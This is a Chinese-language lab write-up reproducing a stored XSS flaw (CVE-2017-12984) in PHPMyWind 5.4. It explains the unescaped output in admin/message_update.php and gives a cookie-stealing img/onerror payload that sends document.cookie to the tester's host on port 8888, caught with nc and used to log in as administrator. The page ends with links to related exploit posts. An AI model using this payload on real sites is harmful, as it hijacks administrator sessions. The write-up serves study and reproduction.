0x0 环境

操作机:xp   192.168.110.128

目标:win2003    192.168.110.133

目标cms:PHPMyWind5.4

0x11 漏洞介绍

允许恶意访问者在客户留言处插入XSS利用语句,执行JS代码获取cookie,从而获取网站管理员权限。漏洞存在于message_update.php文件中的content参数。

漏洞影响版本:phpMyWind version <= 5.4

0x12 漏洞成因

处理客户留言内容的关键代码在message.php文件的第29行和34行

先看content参数,程序会使用htmlspecialchars() 函数把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体,进行过滤,然后存储至数据库中,也就是对数据的入库进行了处理,这里并没有问题。

然后,我们再看看管理员修改留言的处理方式,代码在admin/ message_update.php文件的第26行,跟进$content参数,可以看到直接读取content内容并显示,也就是说数据的出库未进行处理造成XSS漏洞。

0x2 漏洞演示

1.操作机访问目标,首页-留言处输入xss测试代码

<img src=# onerror=alert("hello"); >

2.目标机在后台/admin登陆,打开模块扩展管理-留言模块管理,对留言修改,触发xss,证明漏洞存在

3.操作机获取管理员cookie

代码:

<img src=x onerror=document.body.appendChild(document.createElement('img')).setAttribute('src','http://192.168.110.128:8888/?='+document.cookie); >

通过img标签的图片报错onerror事件将document.cookie获取的Cookie信息发送至xp的8888端口上

4.操作机监听8888端口,当管理员(win2003)修改留言时,nc收到cookie

5.操作机通过得到的cookie登陆后台页面即可以管理员身份登陆

0x3 修复

升级最新版本

0x4 问题总结

复现时,在0x2的第4步出现问题,xp的nc监听不到信息,一开始怀疑是网络问题,数据包没发过来,或者发过来了xp的防火墙挡了,尝试从2003 ping xp,超时,关掉xp防火墙后,ping成功了,但还是监听不到cookie,于是怀疑数据包根本没发,即js没执行,一开始2003用的是ie,看不到网络请求信息,装上火狐后再打开xss的修改留言,发现xp收到了cookie,具体原因未知

有感,xss的成功与否,还和目标使用的浏览器有关

0x5 参考资料

http://www.atomsec.org/%E5%AE%89%E5%85%A8/phpmywind%E5%AD%98%E5%82%A8xss%E6%BC%8F%E6%B4%9E-cve-2017-12984/

https://www.ichunqiu.com/experiment/detail?id=60913&source=1

PHPMyWind5.4存储XSS(CVE-2017-12984)的更多相关文章

  1. PHPMyWind5.4存储XSS后续getshell提权

    0x0 前言 通过留言处的xss,我们可以得到管理员的cookie,进而登陆后台: https://www.cnblogs.com/Rain99-/p/10701769.html 现在要从后台入手,进 ...

  2. Discuz X1.5 利用添加好友处存储xss进行蠕虫worm扩散

    Discuz X1.5 在添加好友的地方有处存储xss,借助此处xss跟用户交互可以进行蠕虫指数扩散. 位置在添加好友处 x完之后的效果 点击后触发 ok 借助此存储xss,我们进行worm传播,dz ...

  3. 91网漏洞打包#越权+爆破+存储xss可打cookie

    漏洞一.主站存在登录口爆破 抓包,爆破一下 爆破成功 漏洞二.检测app时一处存储xss 在app登录后 我要提问那里插入xss 然后弹窗 可以打到cookie 漏洞三.app个人资料处平行越权可查看 ...

  4. 宝塔面板6.x版本前台存储XSS+后台CSRF组合拳Getshell

    对于宝塔漏洞复现和练习 0×00  什么是宝塔面板 宝塔面板是一款使用方便,功能强大且终身免费的服务器管理软件,支持Linux 与Windows 系统.一键配置:LAMP / LNMP ,网站,数据库 ...

  5. node 解决存储xss风险报告

    1. 安装 xss模块 npm install xss 2.在 Node.js 中使用 const xss = require("xss"); // 在项目的接口里面添加 let ...

  6. Dedecms最新版本存储型XSS

    由于编辑文章的模板参数 typeid2可控,导致存储XSS发生. dedecms/dede/templets/article_edit.htm页面316-325行代码如下: <tr> &l ...

  7. 存储型XSS的发现经历和一点绕过思路

    再次骚扰 某SRC提现额度竟然最低是两千,而已经有750的我不甘心呐,这不得把这2000拿出来嘛. 之后我就疯狂的挖这个站,偶然发现了一个之前没挖出来的点,还有个存储型XSS! 刚开始来到这个之前挖过 ...

  8. DVWA(七):XSS(stored)存储型XSS攻击

    存储型XSS : 存储XSS,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在.提交JS攻击代码存储到数据库然后再输出. low: 观察源码: <?php if( isset( ...

  9. ASP.NET Core中的OWASP Top 10 十大风险-跨站点脚本攻击 (XSS)

    不定时更新翻译系列,此系列更新毫无时间规律,文笔菜翻译菜求各位看官老爷们轻喷,如觉得我翻译有问题请挪步原博客地址 本博文翻译自: https://dotnetcoretutorials.com/201 ...

随机推荐

  1. windows服务器安装telnet的方法指引

    摘要: 1.telnet是一种网络排查的工具 2.当发现一台服务器异常的时候,通常有两个cmd命名做排查 3.ping 服务器ip,看网络是否联通 4.telnet 服务器ip 端口 看该服务器指定端 ...

  2. 阿里八八Alpha阶段Scrum(2/12)

    今日进度 叶文滔: 11.1:搭建Andriod Studio开发环境 11.2:已经完成Alpha阶段的APP整体框架搭建. 11.3:根据会议讨论内容,增加了模块标题栏返回键. 王国超: 完成了多 ...

  3. 关于react的一点工作总结

    首先,react是Facebook开发的一套前端框架,仅仅是MVC中的V.核心思想是“封装组件”,组件封装后可以作为一个独立的实体被引入到新的组件中,这样新的组件就又是一个实体了,由于组件的实现了可复 ...

  4. BZOJ 1087 互不侵犯King 状态压缩DP

    题目链接: https://www.lydsy.com/JudgeOnline/problem.php?id=1087 题目大意; 在N×N的棋盘里面放K个国王,使他们互不攻击,共有多少种摆放方案.国 ...

  5. Jquery简单的placeholder效果

    Jquery简单的placeholder效果 由于IE6-IE9不支持HTML5中的placeholder,所以自己依赖于Jquery简单的写了一个,供参考! 先看看效果吧!如下JSFiddle地址 ...

  6. HDU 3592 World Exhibition(线性差分约束,spfa跑最短路+判断负环)

    World Exhibition Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) ...

  7. 添加静态路由 route add -host 子网掩码 -- 在线解析

    1.215        -----       R(172.16.0.1)      <--------- gw(61.146.164.109) |                       ...

  8. day80

    昨日回顾 上节回顾: 中间件: -django请求生命周期: -中间件:对全局请求的修改,和全局响应的修改 -process_request:从上往下执行 -process_response:从下往上 ...

  9. Python开发简单爬虫

    简单爬虫框架: 爬虫调度器 -> URL管理器 -> 网页下载器(urllib2) -> 网页解析器(BeautifulSoup) -> 价值数据 Demo1: # codin ...

  10. springboot mybatis 后台框架平台 集成代码生成器 shiro 权限

    1.代码生成器: [正反双向](单表.主表.明细表.树形表,快速开发利器)freemaker模版技术 ,0个代码不用写,生成完整的一个模块,带页面.建表sql脚本.处理类.service等完整模块2. ...